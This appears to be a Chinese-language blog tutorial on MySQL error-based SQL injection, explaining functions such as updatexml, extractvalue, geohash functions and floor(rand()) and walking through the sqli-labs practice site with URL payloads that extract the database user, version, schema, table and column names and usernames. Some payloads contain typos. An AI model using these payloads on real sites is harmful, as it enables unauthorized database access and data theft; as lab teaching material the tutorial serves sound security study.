SQL注入方法-报错注入
- 使用场景
- MySQL报错函数以及会到的函数
- 演示
- 演示环境
- 检测注入点
- 利用报错函数爆出数据
使用场景
报错注入是基于错误的SQL注入攻击是一种带内注入技术,利用来自数据库的错误输出来操作数据库内部的数据。
网页中有些功能会根据我们传递的参数做查询,但不会将显示SQL执行结果展现出来,只是用来做效验,比如登录功能,我们输入的账号密码在登录成功后不会显示在页面中,登录操作会验证帐号密码是否正确,这里就会差生SQL查询,且查询结果不会显示在页面中。
那么我们可以通过构造错误的SQL语句让数据库执行,来爆(外带)出错误信息。(报错注入前提是后端语言使用了报错的函数,如:PHP的mysql_error()函数。)
MySQL报错函数以及会到的函数
1. concat()函数
concat(str1, str2,…)将多个字符串连接成一个字符串。
例:
select concat(“chat”,“GPT”);

2.extractvalue()函数
extractvalue()函数是指使用xpath符号从xml字符串中提取值
使用形式为extractvalue(xml_target,XPath_string)
xml_target是String格式,为XML文档对象的名称。
XPath_string ,XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值) 。通过这个参数让数据库报错,继而得到我们需要的数据。
使用MySQL执行下面的语句:
select extractvalue(1,concat(0x7e,user(),version()));
在ASCII码表中,0x7e这个十六进制数代表符号,这个符号在xpath语法中是不存在的,因此总能报错。

执行结果显示XPATH 错误并爆出了当前用户以及数据库版本信息。
3.updatexml()函数
updatexml(xml_target, XPath_string, new_xml)此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。
第一个参数:xml_target是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串)如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值 ,通过这个参数让数据库报错,继而得到我们需要的数据。
第三个参数:new_xml,String格式,替换查找到的符合条件的数据
updatexml报错函数的结果有32位的长度限制
使用MySQL执行下面的语句:
select updatexml(1,concat(0x7e,user(),0x7e),1);

数据库爆出了当前用户名。
mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入4.ST_LongFromGeoHash(mysql>=5.7.x)
ST_LongFromGeoHash(geohash_str)从 geohash 字符串值返回经度,作为范围内的双精度数字[,180 180]。
payload:select ST_LongFromGeoHash(concat(0x7e,(version()),0x7e));

函数要求参数类型是geohash,我们通过传入其他字符使其报错,把我们想要的查询的内容通过报错信息外带出来。
5.ST_LatFromGeoHash()(mysql>=5.7.x)
ST_LatFromGeoHash(geohash_str)从 geohash 字符串值返回纬度,作为范围内的双精度数字[−90, 90].
payload:select ST_LatFromGeoHash(concat(0x7e,(user()),0x7e));

6.ST_Pointfromgeohash()函数 (mysql>=5.7)
ST_Pointfromgeohash(geohash_str,Siled)处理经纬度
payload:select ST_PointFromGeoHash((user()),1);

7.floor()(8.x>mysql>5.0)
floor函数,其功能是“向下取整”
payload:
*select count(*),concat(user(),floor(rand(0)2))x from information_schema.columns group by x;
rand()返回的是0到1之间的随机数.
order by 分组
报错原因:floor(rand(0)*2的不确定性,group by floor(rand(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(rand(0)*2)可能为0,也可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

演示
演示环境
phpStudy + mysql + sqlilabs
检测注入点
源码:

判断注入点:
测试:
id = 1 and 1=1 --+ 正常
id = 1 and 1=2 --+ 正常
id = 1’ and 1=1 --+ 正常
id = 1’ and 1=2 --+ 错误


and 1=1也面正常,and 1=2页面没有显示,说明存在注入点,是字符类型,但没有回显。接下来通过报错函数来爆出数据。
利用报错函数爆出数据
1.爆出数据库信息
payload:
?id=1 ’ and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

数据版本:
?id=1’ and updatexml(1,concat(0x7e,version(),0x7e),1) --+
2.爆数据库名
当前数据名:
payload:
?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1) --+
所有数据库名:
?id=1 ’ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)–+
Limit的作用是获取一表前几条或中间某几行数据,注意只在MySQL中起作用。Limit num1,num2 用法:num1起始之,num2取多少条数据。
updatexml函数最多只能显示32位字符的长度,所以每次只能获取1,2个数据库名。修改limit 第一个参数逐条查看。

3.爆表名
payload:
id=1’ 0and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=“security”),0x7e),1) --+

4.爆列名
payload:
id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1) --+

5.爆数据poayload:
?id=1 ’ and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1) --+

其他的查询和联合查询是一样的,只是查询语句写的地方不同而已。
报错注入其实就是通过函数报错的方式将我们查询的类容外带出来。
















